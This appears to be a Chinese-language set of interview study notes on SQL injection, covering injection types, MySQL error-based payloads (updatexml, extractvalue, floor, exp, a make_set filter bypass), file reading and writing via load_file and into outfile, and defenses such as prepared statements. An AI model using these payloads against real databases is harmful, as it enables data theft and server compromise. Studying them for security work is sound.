这是我在面试中被问到一些问题,主要偏向基础知识,如有错误,还望指正。
1. sql注入
1. 原理
攻击者通过构造一些恶意的SQL语句,让后台的数据库去解析,从而达到入侵目标网络,获取敏感信息
2. sql注入分类
- 主要分为以下两类:
- 数字型
- 字符型
- 细分的话可以分为:
- 联合查询注入
- 多语句查询注入
- 报错注入
- 布尔型注入
- 基于时间延迟注入
- 宽字节注入
- 等等
3. 利用方式
- 主要分为以下三类:
- 查询数据
- 读写文件
- 执行命令
4. 报错注入可以利用的函数
- 利用floor()函数
mysql> select * from users where id = 1 and (select 1 from (select count(*),concat(0x7e,database(),0x7e,floor(rand(0)*2))a from information_schema.tables group by a)b);
- 利用updatexml()函数
mysql> select * from users where id = 1 and updatexml(1,concat(0x7e,database(),0x7e),1);
- 利用extractvalue()函数
mysql> select * from users where id = 1 and extractvalue(1,concat(0x7e,database(),0x7e));
ps:如果concat被过滤,则可能使用make_set函数来实现
mysql> select * from users where id = 1 and updatexml(1,make_set(3,0x7e,database()),1);
mysql> select * from users where id = 1 and extractvalue(1,make_set(3,0x7e,database()));
- 利用join()函数
mysql> select * from(select * from users a join users b)c;
- 利用几何函数
例如geometrycollection(),multipoint(),polygon(),multipolygon(),linestring(),multilinestring()
and geometrycollection((select * from(select * from(select user())a)b));
- 利用exp()函数
select exp(~(select*from(select database())x));
5. 报错注入函数有哪些限制要求
- floor函数()
需要同时满足floor(rand(0)*2),count(*),group by这三个函数- updatexml()和extractvalue()函数
mysql5.1.5,最多爆出32位的 - exp()函数
在MySQL版本大于等于5.5.5的的时候才能用户
- updatexml()和extractvalue()函数
6. sql注入读写文件
- load_file()
- 必须有权限读取并且文件必须完全可读。
and (select count(*) from mysql.user)>0 /*如果结果返回正常,说明具有读写权限.*/ and (select count(*) from mysql.user)>0 /*返回错误,应该是管理员给数据库账户降权了*/ 高版本的MYSQL添加了一个新的特性secure_file_priv
- 欲读取文件必须在服务器上
- 必须指定文件完整的路径
- 欲读取文件必须小于max_allowed_packet
- into outfile()和into dumpfile()
into outfile导出每行记录,会在每行末尾加新行,会转义换行符,二进制文件会被破坏;而dumpfile()导出一个完整能执行的二进制文件
7. sql防御
- 参数过滤
- 预编译处理
- ODBC
- PDO
8. 解释下sql预编译处理
- 执行预编译语句
- 设置变量
- 执行语句
先执行了sql语句,再把参数传入,